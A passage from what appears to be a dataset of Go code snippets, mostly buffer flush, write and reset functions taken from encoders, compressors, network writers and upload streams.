fmt.Errorf(\"cpio: missed writing %d bytes\", w.nb)\n\t\treturn w.err\n\t}\n\t_, w.err = w.w.Write(zeroBlock[:w.pad])\n\tif w.err != nil {\n\t\treturn w.err\n\t}\n\tw.nb = 0\n\tw.pad = 0\n\treturn w.err\n}", "func (e *Encoder) flush() error {\n\tif e.wr == nil || e.avoidFlush() {\n\t\treturn nil\n\t}\n\n\t// In streaming mode, always emit a newline after the top-level value.\n\tif e.tokens.depth() == 1 && !e.options.omitTopLevelNewline {\n\t\te.buf = append(e.buf, '\\n')\n\t}\n\n\t// Inform objectNameStack that we are about to flush the buffer content.\n\te.names.copyQuotedBuffer(e.buf)\n\n\t// Specialize bytes.Buffer for better performance.\n\tif bb, ok := e.wr.(*bytes.Buffer); ok {\n\t\t// If e.buf already aliases the internal buffer of bb,\n\t\t// then the Write call simply increments the internal offset,\n\t\t// otherwise Write operates as expected.\n\t\t// See https://go.dev/issue/42986.\n\t\tn, _ := bb.Write(e.buf) // never fails unless bb is nil\n\t\te.baseOffset += int64(n)\n\n\t\t// If the internal buffer of bytes.Buffer is too small,\n\t\t// append operations elsewhere in the Encoder may grow the buffer.\n\t\t// This would be semantically correct, but hurts performance.\n\t\t// As such, ensure 25% of the current length is always available\n\t\t// to reduce the probability that other appends must allocate.\n\t\tif avail := bb.Cap() - bb.Len(); avail < bb.Len()/4 {\n\t\t\tbb.Grow(avail + 1)\n\t\t}\n\n\t\te.buf = bb.Bytes()[bb.Len():] // alias the unused buffer of bb\n\t\treturn nil\n\t}\n\n\t// Flush the internal buffer to the underlying io.Writer.\n\tn, err := e.wr.Write(e.buf)\n\te.baseOffset += int64(n)\n\tif err != nil {\n\t\t// In the event of an error, preserve the unflushed portion.\n\t\t// Thus, write errors aren't fatal so long as the io.Writer\n\t\t// maintains consistent state after errors.\n\t\tif n > 0 {\n\t\t\te.buf = e.buf[:copy(e.buf, e.buf[n:])]\n\t\t}\n\t\treturn &ioError{action: \"write\", err: err}\n\t}\n\te.buf = e.buf[:0]\n\n\t// Check whether to grow the buffer.\n\t// Note that cap(e.buf) may already exceed maxBufferSize since\n\t// an append elsewhere already grew it to store a large token.\n\tconst maxBufferSize = 4 << 10\n\tconst growthSizeFactor = 2 // higher value is faster\n\tconst growthRateFactor = 2 // higher value is slower\n\t// By default, grow if below the maximum buffer size.\n\tgrow := cap(e.buf) <= maxBufferSize/growthSizeFactor\n\t// Growing can be expensive, so only grow\n\t// if a sufficient number of bytes have been processed.\n\tgrow = grow && int64(cap(e.buf)) < e.previousOffsetEnd()/growthRateFactor\n\tif grow {\n\t\te.buf = make([]byte, 0, cap(e.buf)*growthSizeFactor)\n\t}\n\n\treturn nil\n}", "func (s *StreamPack) Flush() {\n\ts.Buffer.Clear()\n}", "func (w *chunkedResponseBody) Flush() os.Error {\n\tif w.err != nil {\n\t\treturn w.err\n\t}\n\tw.finalizeChunk()\n\tif w.n > 0 {\n\t\tw.writeBuf()\n\t\tif w.err != nil {\n\t\t\treturn w.err\n\t\t}\n\t}\n\tw.s = 0\n\tw.n = w.ndigit + 2 // length CRLF\n\treturn nil\n}", "func (redactor *Redactor) Flush() error {\n\t_, err := redactor.output.Write(redactor.outbuf)\n\tredactor.outbuf = redactor.outbuf[:0]\n\treturn err\n}", "func (w *Writer) Flush() {\n\tif w.available != 8 {\n\t\t_ = w.out.WriteByte(w.cache)\n\t}\n\tw.Reset(w.out)\n}", "func (f *FrameWriter) Flush() error {\n\tif f.offset > 0 {\n\t\tn, err := f.w.Write(f.buf[:f.offset])\n\n\t\tif n < f.offset && err == nil {\n\t\t\terr = io.ErrShortWrite\n\t\t}\n\t\tif err != nil {\n\t\t\tif 0 < n && n < f.offset {\n\t\t\t\tcopy(f.buf[0:], f.buf[n:f.offset])\n\t\t\t}\n\t\t\tf.offset -= n\n\t\t\treturn err\n\t\t}\n\t\tf.offset = 0\n\t}\n\treturn nil\n}", "func (w *Writer) Flush() error {\n\tif w.free == 8 {\n\t\treturn nil\n\t}\n\t_, err := w.w.Write([]byte{w.bits << w.free})\n\tw.bits = 0\n\tw.free = 8\n\treturn err\n}", "func (ul *uciLogger) flush() {\n\tos.Stdout.Write(ul.buf.Bytes())\n\tos.Stdout.Sync()\n\tul.buf.Reset()\n}", "func (w *messageWriter) flushFrame(final bool, extra []byte) error {\n\tc := w.c\n\tlength := w.pos - maxFrameHeaderSize + len(extra)\n\n\t// Check for invalid control frames.\n\tif isControl(w.frameType) &&\n\t\t(!final || length > maxControlFramePayloadSize) {\n\t\treturn w.endMessage(errInvalidControlFrame)\n\t}\n\n\tb0 := byte(w.frameType)\n\tif final {\n\t\tb0 |= finalBit\n\t}\n\tif w.compress {\n\t\tb0 |= rsv1Bit\n\t}\n\tw.compress = false\n\n\tb1 := byte(0)\n\tif !c.isServer {\n\t\tb1 |= maskBit\n\t}\n\n\t// Assume that the frame starts at beginning of c.writeBuf.\n\tframePos := 0\n\tif c.isServer {\n\t\t// Adjust up if mask not included in the header.\n\t\tframePos = 4\n\t}\n\n\tswitch {\n\tcase length >= 65536:\n\t\tc.writeBuf[framePos] = b0\n\t\tc.writeBuf[framePos+1] = b1 | 127\n\t\tbinary.BigEndian.PutUint64(c.writeBuf[framePos+2:], uint64(length))\n\tcase length > 125:\n\t\tframePos += 6\n\t\tc.writeBuf[framePos] = b0\n\t\tc.writeBuf[framePos+1] = b1 | 126\n\t\tbinary.BigEndian.PutUint16(c.writeBuf[framePos+2:], uint16(length))\n\tdefault:\n\t\tframePos += 8\n\t\tc.writeBuf[framePos] = b0\n\t\tc.writeBuf[framePos+1] = b1 | byte(length)\n\t}\n\n\tif !c.isServer {\n\t\tkey := newMaskKey()\n\t\tcopy(c.writeBuf[maxFrameHeaderSize-4:], key[:])\n\t\tmaskBytes(key, 0, c.writeBuf[maxFrameHeaderSize:w.pos])\n\t\tif len(extra) > 0 {\n\t\t\treturn w.endMessage(c.writeFatal(errors.New(\"websocket: internal error, extra used in client mode\")))\n\t\t}\n\t}\n\n\t// Write the buffers to the connection with best-effort detection of\n\t// concurrent writes. See the concurrency section in the package\n\t// documentation for more info.\n\n\tif c.isWriting {\n\t\tpanic(\"concurrent write to websocket connection\")\n\t}\n\tc.isWriting = true\n\n\terr := c.write(w.frameType, c.writeDeadline, c.writeBuf[framePos:w.pos], extra)\n\n\tif !c.isWriting {\n\t\tpanic(\"concurrent write to websocket connection\")\n\t}\n\tc.isWriting = false\n\n\tif err != nil {\n\t\treturn w.endMessage(err)\n\t}\n\n\tif final {\n\t\tw.endMessage(errWriteClosed)\n\t\treturn nil\n\t}\n\n\t// Setup for next frame.\n\tw.pos = maxFrameHeaderSize\n\tw.frameType = continuationFrame\n\treturn nil\n}", "func (w *Writer) Flush() error {\n\tif w.err != nil {\n\t\treturn w.err\n\t}\n\t_, w.err = w.w.Write(w.b)\n\tif cap(w.b) > maxBufferCap || w.err != nil {\n\t\tw.b = nil\n\t} else {\n\t\tw.b = w.b[:0]\n\t}\n\treturn w.err\n}", "func (w *StreamWriter) flush() {\n\tif w.buf.Len() > 0 {\n\t\tLogString(w.Target, w.buf.String())\n\t\tw.buf.Reset()\n\t}\n}", "func (w *Writer) Flush() error {\n\tw.mtx.Lock()\n\tdefer w.mtx.Unlock()\n\n\t// do nothing if buffer is empty\n\tif len(w.buf.Bytes()) == 0 {\n\t\treturn nil\n\t}\n\tw.clearLines()\n\n\tlines := 0\n\tvar currentLine bytes.Buffer\n\tfor _, b := range w.buf.Bytes() {\n\t\tif b == '\\n' {\n\t\t\tlines++\n\t\t\tcurrentLine.Reset()\n\t\t} else {\n\t\t\tcurrentLine.Write([]byte{b})\n\t\t\tif overFlowHandled && currentLine.Len() > termWidth {\n\t\t\t\tlines++\n\t\t\t\tcurrentLine.Reset()\n\t\t\t}\n\t\t}\n\t}\n\tw.lineCount = lines\n\t_, err := w.Out.Write(w.buf.Bytes())\n\tw.buf.Reset()\n\treturn err\n}", "func flushingIoCopy(dst io.Writer, src io.Reader, buf []byte, paddingType int) (written int64, err error) {\n\tflusher, hasFlusher := dst.(http.Flusher)\n\tvar numPadding int\n\tfor {\n\t\tvar nr int\n\t\tvar er error\n\t\tif paddingType == AddPadding && numPadding < NumFirstPaddings {\n\t\t\tnumPadding++\n\t\t\tpaddingSize := rand.Intn(256)\n\t\t\tmaxRead := 65536 - 3 - paddingSize\n\t\t\tnr, er = src.Read(buf[3:maxRead])\n\t\t\tif nr > 0 {\n\t\t\t\tbuf[0] = byte(nr / 256)\n\t\t\t\tbuf[1] = byte(nr % 256)\n\t\t\t\tbuf[2] = byte(paddingSize)\n\t\t\t\tfor i := 0; i < paddingSize; i++ {\n\t\t\t\t\tbuf[3+nr+i] = 0\n\t\t\t\t}\n\t\t\t\tnr += 3 + paddingSize\n\t\t\t}\n\t\t} else if paddingType == RemovePadding && numPadding < NumFirstPaddings {\n\t\t\tnumPadding++\n\t\t\tnr, er = io.ReadFull(src, buf[0:3])\n\t\t\tif nr > 0 {\n\t\t\t\tnr = int(buf[0])*256 + int(buf[1])\n\t\t\t\tpaddingSize := int(buf[2])\n\t\t\t\tnr, er = io.ReadFull(src, buf[0:nr])\n\t\t\t\tif nr > 0 {\n\t\t\t\t\tvar junk [256]byte\n\t\t\t\t\t_, er = io.ReadFull(src, junk[0:paddingSize])\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tnr, er = src.Read(buf)\n\t\t}\n\t\tif nr > 0 {\n\t\t\tnw, ew := dst.Write(buf[0:nr])\n\t\t\tif hasFlusher {\n\t\t\t\tflusher.Flush()\n\t\t\t}\n\t\t\tif nw > 0 {\n\t\t\t\twritten += int64(nw)\n\t\t\t}\n\t\t\tif ew != nil {\n\t\t\t\terr = ew\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif nr != nw {\n\t\t\t\terr = io.ErrShortWrite\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif er != nil {\n\t\t\tif er != io.EOF {\n\t\t\t\terr = er\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\treturn\n}", "func (b *Buf) Reset() { b.b = b.b[:0] }", "func (b *Writer) Flush() (err error)", "func (b *Writer) Flush() error {\n\tif b.err != nil {\n\t\treturn b.err\n\t}\n\tif b.n == 0 {\n\t\treturn nil\n\t}\n\t// 将buf中的内容写入到实际的io.Writer\n\tn, err := b.wr.Write(b.buf[0:b.n])\n\tif n < b.n && err == nil {\n\t\terr = io.ErrShortWrite\n\t}\n\tif err != nil {\n\t\tif n > 0 && n < b.n {\n\t\t\tcopy(b.buf[0:b.n-n], b.buf[n:b.n])\n\t\t}\n\t\tb.n -= n\n\t\tb.err = err\n\t\treturn err\n\t}\n\tb.n = 0\n\treturn nil\n}", "func (c *Conn) flushDataUnit() error {\n\treturn c.writeDataUnit(c.buf.Bytes())\n}", "func (b *bitWriter) flushAlign() {\n\tnbBytes := (b.nBits + 7) >> 3\n\tfor i := uint8(0); i < nbBytes; i++ {\n\t\tb.out = append(b.out, byte(b.bitContainer>>(i*8)))\n\t}\n\tb.nBits = 0\n\tb.bitContainer = 0\n}", "func (hw *Writer) Flush() (int, error) {\n\tif hw.err != nil {\n\t\treturn 0, hw.err\n\t}\n\tvar n int\n\tif hw.bitsWritten != 0 {\n\t\tfor hw.bitsWritten < 8 {\n\t\t\thw.currByte = (hw.currByte << 1) | 0\n\t\t\thw.bitsWritten++\n\t\t}\n\t\tn, hw.err = hw.w.Write([]byte{hw.currByte})\n\t}\n\treturn n, hw.err\n}", "func (b *buffer) Flush() string {\n\treturn strings.Join(b.lines, \"\")\n}", "func (w *Writer) Finalize() []byte {\n\t// update size\n\tvar length = w.index\n\tw.buffer[2] = byte(length)\n\tw.buffer[3] = byte(length >> 8)\n\n\treturn w.buffer[:length]\n}", "func (b *BodyWriter) Flush() {}", "func (d *Object) flush() {\n\n\td.buf.Pos = offsetFieldCount\n\td.buf.WriteUint16(d.fieldCount)\n\n\td.buf.Pos = offsetSize\n\td.buf.WriteUint24(d.size)\n}", "func (stream *Stream) Flush() error {\n\tif stream.err != nil {\n\t\treturn stream.err\n\t}\n\n\tbuf := stream.buf\n\tif len(buf) > 0 {\n\t\t_, err := stream.w.Write(buf)\n\t\t// Reset buf.\n\t\tstream.buf = buf[:0]\n\t\tif err != nil {\n\t\t\tstream.err = err\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func (cw *compressWriter) Flush() error {\n\tif cw.pos == 0 {\n\t\treturn nil\n\t}\n\tmaxSize := lz4.CompressBlockBound(len(cw.data[:cw.pos]))\n\tcw.zdata = append(cw.zdata[:0], make([]byte, maxSize+headerSize)...)\n\t_ = cw.zdata[:headerSize]\n\tcw.zdata[hMethod] = byte(cw.method)\n\n\tvar n int\n\t//nolint:exhaustive\n\tswitch cw.method {\n\tcase CompressLZ4:\n\t\tif cw.lz4 == nil {\n\t\t\tcw.lz4 = &lz4.Compressor{}\n\t\t}\n\t\tcompressedSize, err := cw.lz4.CompressBlock(cw.data[:cw.pos], cw.zdata[headerSize:])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"lz4 compress error: %v\", err)\n\t\t}\n\t\tn = compressedSize\n\tcase CompressZSTD:\n\t\tif cw.zstd == nil {\n\t\t\tzw, err := zstd.NewWriter(nil,\n\t\t\t\tzstd.WithEncoderLevel(zstd.SpeedDefault),\n\t\t\t\tzstd.WithEncoderConcurrency(1),\n\t\t\t\tzstd.WithLowerEncoderMem(true),\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"zstd new error: %v\", err)\n\t\t\t}\n\t\t\tcw.zstd = zw\n\t\t}\n\t\tcw.zdata = cw.zstd.EncodeAll(cw.data[:cw.pos], cw.zdata[:headerSize])\n\t\tn = len(cw.zdata) - headerSize\n\tcase CompressChecksum:\n\t\tn = copy(cw.zdata[headerSize:], cw.data[:cw.pos])\n\t}\n\n\tcw.zdata = cw.zdata[:n+headerSize]\n\n\tbinary.LittleEndian.PutUint32(cw.zdata[hRawSize:], uint32(n+compressHeaderSize))\n\tbinary.LittleEndian.PutUint32(cw.zdata[hDataSize:], uint32(cw.pos))\n\th := city.CH128(cw.zdata[hMethod:])\n\tbinary.LittleEndian.PutUint64(cw.zdata[0:8], h.Low)\n\tbinary.LittleEndian.PutUint64(cw.zdata[8:16], h.High)\n\n\t_, err := cw.writer.Write(cw.zdata)\n\tcw.pos = 0\n\treturn err\n}", "func (chunker *Chunker) Flush() {\n\tchunker.OutputStream.Flush()\n\tchunker.WriteChunk(blobName(path.Base(chunker.Location), chunker.Index), chunker.OutputStream.Output.Bytes())\n\t// Set size and reset Output stream buffer\n\tchunker.OutputStream.Output.Reset()\n}", "func (w *Writer) Reset() {\n\tw.buf = w.buf[:0]\n}", "func (us *awsStream) Flush() (err error) {\n\tlog.Printf(\"Finalizing... %s\", *us.multipart.Key)\n\tlog.Printf(\"Flushing gzip stream... %s\", *us.multipart.Key)\n\tif err = us.gzw.Flush(); err != nil {\n\t\tlog.Print(\"failed to Flush gzip stream\")\n\t\treturn\n\t}\n\tlog.Printf(\"Closing gzip stream... %s\", *us.multipart.Key)\n\tif err = us.gzw.Close(); err != nil {\n\t\tlog.Print(\"failed to Flush gzip stream\")\n\t\treturn\n\t}\n\tpayload := make([]byte, us.buf.Len())\n\tlog.Printf(\"Getting gzip footer... %s\", *us.multipart.Key)\n\tif _, err = us.buf.Read(payload); err != nil {\n\t\tlog.Print(\"failed to get gzip footer payload\")\n\t\treturn\n\t}\n\tlog.Print(\"Uploading gzip footer...\")\n\tif err = us.uploadPart(payload); err != nil {\n\t\tlog.Print(\"failed to upload gzip footer payload\")\n\t\treturn\n\t}\n\tlog.Printf(\"Completing multipart upload... %s\", *us.multipart.Key)\n\tres, err := us.completeMultipartUpload()\n\tif err != nil {\n\t\tlog.Print(utils.Concat(\"Error completing upload of\", *us.multipart.Key, \" due to error: \", err.Error()))\n\t\terr = us.abortMultipartUpload()\n\t\tif err != nil {\n\t\t\tlog.Print(utils.Concat(\"Error aborting uploaded file: \", err.Error()))\n\t\t} else {\n\t\t\tlog.Print(utils.Concat(\"Upload aborted:\", *us.multipart.Key))\n\t\t}\n\t\treturn\n\t}\n\tlog.Print(utils.Concat(\"Successfully uploaded file:\", res.String()))\n\tlog.Printf(\"awsStream flushed successfully %s\", *us.multipart.Key)\n\treturn\n}", "func clearbytes(bs []byte) {\n\tfor i := range bs {\n\t\tbs[i] = 0\n\t}\n}", "func (s *scratch) bytes() []byte { return s.data[0:s.fill] }", "func (c *Connection) flush() error {\n\tif f, ok := c.encoderState.Buf.(flusher); ok {\n\t\tif err := f.Flush(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t// TODO: Figure out if we ever need to add alignment bytes here (using AligningWriter).\n\treturn nil\n}", "func (c *conn) flush(n int) {\n\tif len(c.buf) == 0 {\n\t\treturn\n\t}\n\tif n == 0 {\n\t\tn = len(c.buf)\n\t}\n\n\t// Trim the last \\n, StatsD does not like it.\n\t_, err := c.w.Write(c.buf[:n-1])\n\tc.handleError(err)\n\tif n < len(c.buf) {\n\t\tcopy(c.buf, c.buf[n:])\n\t}\n\tc.buf = c.buf[:len(c.buf)-n]\n}", "func fillBytes(t *testing.T, testname string, b *Builder, s string, n int, fub []byte) string {\n\tcheckRead(t, testname+\" (fill 1)\", b, s)\n\tfor ; n > 0; n-- {\n\t\tm, err := b.Write(fub)\n\t\tif m != len(fub) {\n\t\t\tt.Errorf(testname+\" (fill 2): m == %d, expected %d\", m, len(fub))\n\t\t}\n\t\tif err != nil {\n\t\t\tt.Errorf(testname+\" (fill 3): err should always be nil, found err == %s\", err)\n\t\t}\n\t\ts += string(fub)\n\t\tcheckRead(t, testname+\" (fill 4)\", b, s)\n\t}\n\treturn s\n}", "func writeIntermediate(w io.Writer, b *bin.Buffer) error {\n\tlength := b.Len()\n\t// Re-using b.Buf if possible to reduce allocations.\n\tb.Expand(4)\n\tb.Buf = b.Buf[:length]\n\n\tinner := bin.Buffer{Buf: b.Buf[length:length]}\n\tinner.PutInt(b.Len())\n\tif _, err := w.Write(inner.Buf); err != nil {\n\t\treturn err\n\t}\n\tif _, err := w.Write(b.Buf); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (stream *Stream) write(b []byte) {\n\t// Discard writes if error already occurred in prior to the write.\n\tif stream.err != nil {\n\t\treturn\n\t}\n\n\tbuf := stream.buf\n\tbufSize := len(buf)\n\tif bufSize+len(b) < initialStreamBufSize {\n\t\tbuf = buf[:bufSize+len(b)]\n\t\tstream.buf = buf\n\t\tcopy(buf[bufSize:], b)\n\t\treturn\n\t}\n\n\tif bufSize > 0 {\n\t\t_, err := stream.w.Write(buf)\n\t\t// Reset buf.\n\t\tstream.buf = buf[:0]\n\t\tif err != nil {\n\t\t\tstream.err = err\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(b) > 0 {\n\t\tif _, err := stream.w.Write(b); err != nil {\n\t\t\tstream.err = err\n\t\t\treturn\n\t\t}\n\t}\n}", "func (w *Writer) Flush() error {\n\tif w.err != nil {\n\t\treturn w.err\n\t}\n\tif len(w.ibuf) == 0 {\n\t\treturn nil\n\t}\n\tw.write(w.ibuf)\n\tw.ibuf = w.ibuf[:0]\n\treturn w.err\n}", "func (w *streamWriter) Flush() error {\n\tw.h.init(w.recType, w.c.reqID, w.buf.Len()-8)\n\tw.writeHeader()\n\tw.buf.Write(pad[:w.h.PaddingLength])\n\t_, err := w.buf.WriteTo(w.c.rwc)\n\treturn err\n}", "func (z *Writer) Flush() error {\n\tif debugFlag {\n\t\tdebug(\"flush with index %d\", z.idx)\n\t}\n\tif z.idx == 0 {\n\t\treturn nil\n\t}\n\n\tdata := getBuffer(z.Header.BlockMaxSize)[:len(z.data[:z.idx])]\n\tcopy(data, z.data[:z.idx])\n\n\tz.idx = 0\n\tif z.c == nil {\n\t\treturn z.compressBlock(data)\n\t}\n\tif !z.NoChecksum {\n\t\t_, _ = z.checksum.Write(data)\n\t}\n\tc := make(chan zResult)\n\tz.c <- c\n\twriterCompressBlock(c, z.Header, data)\n\treturn nil\n}", "func compressBlock(data []byte) []byte {\n\t// Preallocate the output slice on the optimistic assumption that\n\t// the output won't be bigger than the input.\n\tret := make([]byte, 0, len(data))\n\tfor i := 0; i < len(data); i++ {\n\t\t// Last byte in the input? Encode it and be done.\n\t\tif i == len(data)-1 {\n\t\t\tret = append(ret, byteLiteral(data[i])...)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Have we seen a run already? If so then encode it.\n\t\tl, offset := findRun(data[i:], data[0:i])\n\t\tif l >= 3 {\n\t\t\t// 10 bytes is our maximum run length.\n\t\t\tif l > 10 {\n\t\t\t\tl = 10\n\t\t\t}\n\t\t\tword := uint16(offset<<3+(l-3)) | 0x8000\n\t\t\tret = append(ret, byte(word>>8), byte(word&0xff))\n\n\t\t\ti += (l - 1)\n\t\t\tcontinue\n\t\t}\n\n\t\t// space + printable? Add in the special byte and be done.\n\t\tif data[i] == ' ' && (data[i+1] >= 0x40 && data[i+1] <= 0x7f) {\n\t\t\tret = append(ret, 0x80^data[i+1])\n\t\t\ti++\n\t\t\tcontinue\n\t\t}\n\n\t\t// A literal character? Then just pass it on to the output stream.\n\t\tif (data[i] >= 0x09 && data[i] <= 0x7f) || data[i] == 0 {\n\t\t\tret = append(ret, data[i])\n\t\t\tcontinue\n\t\t}\n\n\t\t// Not a literal. In that case we need to blob a range of bytes --\n\t\t// send out a chunk as big as we can.\n\t\tmax := len(data) - i\n\t\tif max > 8 {\n\t\t\tmax = 8\n\t\t}\n\t\tret = append(ret, byte(max))\n\t\tret = append(ret, data[i:i+max]...)\n\t\ti += (max - 1)\n\t\tcontinue\n\t}\n\n\treturn ret\n}", "func (d *Decoder) DecodeUntilFlush(lines *[][]byte) (err error) {\n\t*lines = make([][]byte, 0)\n\tfor {\n\t\tvar l []byte\n\t\terr = d.Decode(&l)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif l == nil { // flush-pkt\n\t\t\treturn\n\t\t}\n\t\t*lines = append(*lines, l)\n\t}\n}", "func (cw *ConsoleWriter) Flush() {\r\n}", "func (m *Mode) FlushOutBuffer() {\n\tfor _, s := range m.OutBuffer[:m.putMax%NBufferBlocks+1] { // trim based on maximum put index\n\t\tm.flushed++\n\t\tb := s.GetBytes()\n\t\tif m.IsDecrypt && m.flushed == m.blocks { // last block to flush\n\t\t\tb = unpadBlock(b)\n\t\t}\n\t\tif _, err := m.Out.Write(b); err != nil {\n\t\t\tm.ErrorLog.Println(\"Flushing output buffer write error : \", err.Error())\n\t\t}\n\t}\n\tm.OutBuffer = make([]state.State, calculateBufferSize(m.blocks)) // resets the buffer\n}", "func (this *FeedableBuffer) OverwriteHead(bytes []byte) {\n\tcopy(this.Data, bytes)\n}", "func (w *writer) flushPart() error {\n\tif len(w.readyPart) == 0 && len(w.pendingPart) == 0 {\n\t\t// nothing to write\n\t\treturn nil\n\t}\n\tif len(w.pendingPart) < int(w.driver.ChunkSize) {\n\t\t// closing with a small pending part\n\t\t// combine ready and pending to avoid writing a small part\n\t\tw.readyPart = append(w.readyPart, w.pendingPart...)\n\t\tw.pendingPart = nil\n\t}\n\n\tpartNumber := len(w.parts) + 1\n\toutput, err := w.driver.Client.UploadPart(&obs.UploadPartInput{\n\t\tBucket: w.driver.Bucket,\n\t\tKey: w.key,\n\t\tPartNumber: partNumber,\n\t\tUploadId: w.uploadID,\n\t\tBody: bytes.NewReader(w.readyPart),\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tw.parts = append(w.parts, obs.Part{\n\t\tETag: output.ETag,\n\t\tPartNumber: partNumber,\n\t\tSize: int64(len(w.readyPart)),\n\t})\n\tw.readyPart = w.pendingPart\n\tw.pendingPart = nil\n\treturn nil\n}", "func (bbw *Writer) Reset(buf []byte, extendable bool) {\n\tbbw.buf = buf\n\tif cap(bbw.buf) > 0 {\n\t\tbbw.buf = bbw.buf[:cap(bbw.buf)]\n\t}\n\tbbw.offs = 0\n\tbbw.clsdPos = 0\n\tbbw.noExt = !extendable\n}", "func (w *withoutNinjaExplain) Flush() error {\n\tfor {\n\t\tline, err := w.buf.ReadBytes('\\n')\n\t\tif err != nil && !errors.Is(err, io.EOF) {\n\t\t\treturn err\n\t\t}\n\t\tif !explainRegex.MatchString(string(line)) {\n\t\t\tw.w.Write(line)\n\t\t}\n\t\t// The last line may not finish with a '\\n', so handle it before breaking.\n\t\tif errors.Is(err, io.EOF) {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}", "func (c *Conn) end(data []byte) {\n\tif len(data) > 0 {\n\t\tif len(data) != len(c.in) {\n\t\t\tc.in = append(c.in[:0], data...)\n\t\t}\n\t} else if len(c.in) > 0 {\n\t\tc.in = c.in[:0]\n\t}\n\n\t//if len(c.out) > 0 {\n\t//\tc.outb = c.out\n\t//\tc.out = nil\n\t//}\n}", "func (bbw *Writer) Reset(buf []byte, extendable bool) {\n\tbbw.buf = buf\n\tif cap(bbw.buf) > 0 {\n\t\tbbw.buf = bbw.buf[:cap(bbw.buf)]\n\t}\n\tbbw.offs = 0\n\tbbw.clsdPos = -1\n\tbbw.ext = extendable\n}", "func (p *packer) flush() error {\n\tif err := p.f.Close(); err != nil {\n\t\treturn err\n\t}\n\tif p.builder.size() == 0 {\n\t\t// Do nothing if the packfile is empty.\n\t\treturn os.Remove(p.f.Name())\n\t}\n\tpackSum := p.builder.sum()\n\tpackName := filepath.Join(p.dir, packSum.asHex())\n\tif err := os.Rename(p.f.Name(), packName); err != nil {\n\t\treturn err\n\t}\n\tp.packFiles <- packName\n\n\treturn nil\n}", "func (c *conn) flush(n int) {\n\tif len(c.buf) == 0 {\n\t\treturn\n\t}\n\tif n == 0 {\n\t\tn = len(c.buf)\n\t}\n\n\t// write\n\tbuffer := c.buf[:n]\n\tif c.trimTrailingNewline {\n\t\t// https://github.com/cactus/go-statsd-client/issues/17\n\t\t// Trim the last \\n, StatsD does not like it.\n\t\tbuffer = buffer[:len(buffer)-1]\n\t}\n\t_, err := c.w.Write(buffer)\n\tc.handleError(err)\n\n\t// consume\n\tif n < len(c.buf) {\n\t\tcopy(c.buf, c.buf[n:])\n\t}\n\tc.buf = c.buf[:len(c.buf)-n]\n}", "func (z *Writer) Flush() error {\n\tif err := z.checkError(); err != nil {\n\t\treturn err\n\t}\n\tif z.closed {\n\t\treturn nil\n\t}\n\tif !z.wroteHeader {\n\t\t_, err := z.Write(nil)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t// We send current block to compression\n\tz.compressCurrent(true)\n\n\treturn z.checkError()\n}", "func clearLoopLen(b []byte) {\n\tb[0] = 0xf0\n\tb[1] = 0\n}", "func WriteFull(data []byte, writer io.Writer) (n int, err error) {\n\tdataSize := len(data)\n\tfor n = 0; n < dataSize; {\n\t\tm, err := writer.Write(data[n:])\n\t\tn += m\n\t\tif err != nil {\n\t\t\treturn n, err\n\t\t}\n\t}\n\treturn dataSize, nil\n}", "func (s *Server) writeFull(conn net.Conn, bts []byte) error {\n\tsize := len(bts)\n\tbase := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(base, uint32(size))\n\tbase = append(base, bts...)\n\n\t// maybe, it will be better to create 1 writer outside the function,\n\t// and write message the same way i read them,\n\t// but it's 3 AM here, i cant think, i'm already writing very bad code,\n\t// and i REALLY want to sleep.\n\twriter := bufio.NewWriterSize(conn, size)\n\t_, err := writer.Write(base)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Flush data to be sure that all bts was sent.\n\treturn writer.Flush()\n}", "func (is *InputStream) End(data []byte) {\n\tif len(data) > 0 {\n\t\tif len(data) != len(is.b) {\n\t\t\tis.b = append(is.b[:0], data...)\n\t\t}\n\t} else if len(is.b) > 0 {\n\t\tis.b = is.b[:0]\n\t}\n}", "func (is *InputStream) End(data []byte) {\n\tif len(data) > 0 {\n\t\tif len(data) != len(is.b) {\n\t\t\tis.b = append(is.b[:0], data...)\n\t\t}\n\t} else if len(is.b) > 0 {\n\t\tis.b = is.b[:0]\n\t}\n}", "func (is *InputStream) End(data []byte) {\n\tif len(data) > 0 {\n\t\tif len(data) != len(is.b) {\n\t\t\tis.b = append(is.b[:0], data...)\n\t\t}\n\t} else if len(is.b) > 0 {\n\t\tis.b = is.b[:0]\n\t}\n}", "func (d downloader) writeOut(body io.ReadCloser) error {\n\tbuf := make([]byte, 4*1024)\t\t// temporary buffer to read into and write from\n\tfor {\n\t\tbr, err := body.Read(buf)\t// read up to buf bytes\n\t\tif br > 0 {\n\t\t\tbw, err := d.outfile.WriteAt(buf[0:br], int64(d.start)) // write out to the file starting at a specific offest\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif br != bw {\n\t\t\t\terrors.New(\"Not all bytes read were written\")\n\t\t\t}\n\n\t\t\td.start = bw + d.start\t\t// increment the file write offset\n\t\t}\n\t\tif err != nil {\n\t\t\tif err.Error() == \"EOF\" {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (e *Encoder) avoidFlush() bool {\n\tswitch {\n\tcase e.tokens.last.length() == 0:\n\t\t// Never flush after ObjectStart or ArrayStart since we don't know yet\n\t\t// if the object or array will end up being empty.\n\t\treturn true\n\tcase e.tokens.last.needObjectValue():\n\t\t// Never flush before the object value since we don't know yet\n\t\t// if the object value will end up being empty.\n\t\treturn true\n\tcase e.tokens.last.needObjectName() && len(e.buf) >= 2:\n\t\t// Never flush after the object value if it does turn out to be empty.\n\t\tswitch string(e.buf[len(e.buf)-2:]) {\n\t\tcase `ll`, 